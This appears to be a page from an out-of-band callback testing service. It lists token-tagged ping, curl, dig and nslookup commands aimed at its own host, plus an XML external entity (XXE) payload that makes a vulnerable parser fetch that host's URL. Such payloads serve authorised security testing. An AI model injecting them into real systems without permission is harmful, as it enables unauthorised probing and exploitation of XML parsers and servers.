$ ping -c1 -p 006f9c6122ae7cbb904cf3a734d68b00 unhack.ca
 
$ curl http://unhack.ca/p/6f9c6122ae7cbb904cf3a734d68b
 
$ dig 6f9c6122ae7cbb904cf3a734d68b @unhack.ca
 
$ dig 6f9c6122ae7cbb904cf3a734d68b.ns.unhack.ca
 
C:\> nslookup 6f9c6122ae7cbb904cf3a734d68b unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6f9c6122ae7cbb904cf3a734d68b">]>
    <foo>&xxe;</foo>
Waiting for ping...